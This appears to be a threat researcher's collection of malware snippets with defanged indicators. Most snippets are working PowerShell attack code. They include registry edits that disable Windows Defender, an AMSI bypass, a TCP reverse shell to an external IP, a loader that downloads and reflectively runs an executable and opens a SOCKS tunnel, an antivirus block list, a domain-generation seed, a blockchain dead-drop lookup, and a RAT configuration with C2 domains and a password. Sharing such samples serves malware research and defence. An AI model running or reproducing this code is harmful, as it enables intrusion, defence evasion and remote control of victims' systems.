RussianPanda95

Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$ErrorActionPreference = "Stop"
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force

$ExeUrl = "hxxps://update17.uplod-file.]online/u17ygk/persist.msi"

$BlockAvList = @(
    "Elastic",
    "CyberCNS",
    "CrowdStrike",

RussianPanda95

SEED = 151678
TLD = ".xyz"

WORDS = [
    'the','and','for','are','but','not','you','all','can','her','was','one','our','out','day',
    'get','has','him','his','how','man','new','now','old','see','two','way','who','boy','did',
    'its','let','put','say','she','too','use','able','also','back','ball','band','base','bath','bear',
    'beat','been','best','bill','body','book','born','both','busy','call','came','card','care','case','cash',
    'cast','city','club','coal','coat','code','cold','come','cool','copy','core','cost','crew','crop','cube',
    'cure','dark','data','date','dawn','deal','dear','debt','deep','diet','dirt','disk','dock','does','done',

RussianPanda95

# Disable Windows Defender via registry
$paths = @(
    "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender",
    "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection"
)
foreach ($p in $paths) {
    if (!(Test-Path $p)) { New-Item -Path $p -Force | Out-Null }
}
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1 -Type DWord -Force

RussianPanda95

# Disable Defender via registry
$p1 = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender"
$p2 = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection"
if(!(Test-Path $p1)){New-Item -Path $p1 -Force|Out-Null}
if(!(Test-Path $p2)){New-Item -Path $p2 -Force|Out-Null}
Set-ItemProperty -Path $p1 -Name "DisableAntiSpyware" -Value 1 -Type DWord -Force
Set-ItemProperty -Path $p2 -Name "DisableRealtimeMonitoring" -Value 1 -Type DWord -Force
Set-ItemProperty -Path $p2 -Name "DisableIOAVProtection" -Value 1 -Type DWord -Force
Set-ItemProperty -Path $p2 -Name "DisableBehaviorMonitoring" -Value 1 -Type DWord -Force
Set-ItemProperty -Path $p2 -Name "DisableOnAccessProtection" -Value 1 -Type DWord -Force

RussianPanda95

# Disable Windows Defender via registry (policy)
$p1 = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender"
$p2 = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection"
if(!(Test-Path $p1)){New-Item -Path $p1 -Force|Out-Null}
if(!(Test-Path $p2)){New-Item -Path $p2 -Force|Out-Null}
Set-ItemProperty -Path $p1 -Name "DisableAntiSpyware" -Value 1 -Type DWord -Force
Set-ItemProperty -Path $p1 -Name "DisableAntiVirus" -Value 1 -Type DWord -Force
Set-ItemProperty -Path $p2 -Name "DisableRealtimeMonitoring" -Value 1 -Type DWord -Force
Set-ItemProperty -Path $p2 -Name "DisableIOAVProtection" -Value 1 -Type DWord -Force
Set-ItemProperty -Path $p2 -Name "DisableBehaviorMonitoring" -Value 1 -Type DWord -Force

RussianPanda95

while($true) {
    try {
        $v="Net.Sockets.TCPClient"
        $c=New-Object $v("77.110.122[.]58",43301)
        $s=$c.GetStream()
        $p=New-Object Diagnostics.Process
        $p.StartInfo.FileName="powershell.exe"
        $p.StartInfo.Arguments="-nop -ep bypass"
        $p.StartInfo.RedirectStandardInput=$true
        $p.StartInfo.RedirectStandardOutput=$true

RussianPanda95

$url = "hxxp://77.110.122[.]58:23205/lQhEQui9a4lZ.exe"
$bytes = (New-Object Net.WebClient).DownloadData($url)
$asm = [Reflection.Assembly]::Load($bytes)
$entry = $asm.EntryPoint
$entry.Invoke($null, @(,[string[]]@("client","--auth","ek_user:S6YS0r55wH4U8Maa8joG","213.165.41[.]26:22603","R:47186:socks")))

RussianPanda95

$a = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -like "*iUtils" }
$b = $a.GetFields("NonPublic,Static") | Where-Object { $_.Name -like "*Context" }
$c = $b.GetValue($null)
[IntPtr]$d = $c
[System.Runtime.InteropServices.Marshal]::WriteInt32($d, 0x80070057)
$p1 = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender"
$p2 = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection"
if(!(Test-Path $p1)){New-Item -Path $p1 -Force|Out-Null}
if(!(Test-Path $p2)){New-Item -Path $p2 -Force|Out-Null}
Set-ItemProperty -Path $p1 -Name "DisableAntiSpyware" -Value 1 -Type DWord -Force

RussianPanda95

curl -s -X POST https://eth.drpc.org -H "Content-Type: application/json" -d "{""jsonrpc"":""2.0"",""method"":""eth_call"",""params"":[{""to"":""0xb3f2897f2bc797e5b9033faef8c81e92b01cb831"",""data"":""0x7d43442500000000000000000000000040b57c3622c1cbfd699207f71f2de5a8fe256893""},""latest""],""id"":1}"

{"id":1,"jsonrpc":"2.0","result":"0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001c68747470733a2f2f726573756d6561636365707461626c652e636f6d00000000"}

RussianPanda95

Field	Value
C2 server 1	xtadts.ddns[.]net
C2 server 2	afxwd.ddns[.]net
Port	7211
AES password	P@55w0rd!
Group	XXX
Client version	3.0.1
Delay	10 seconds
Mutex	(empty)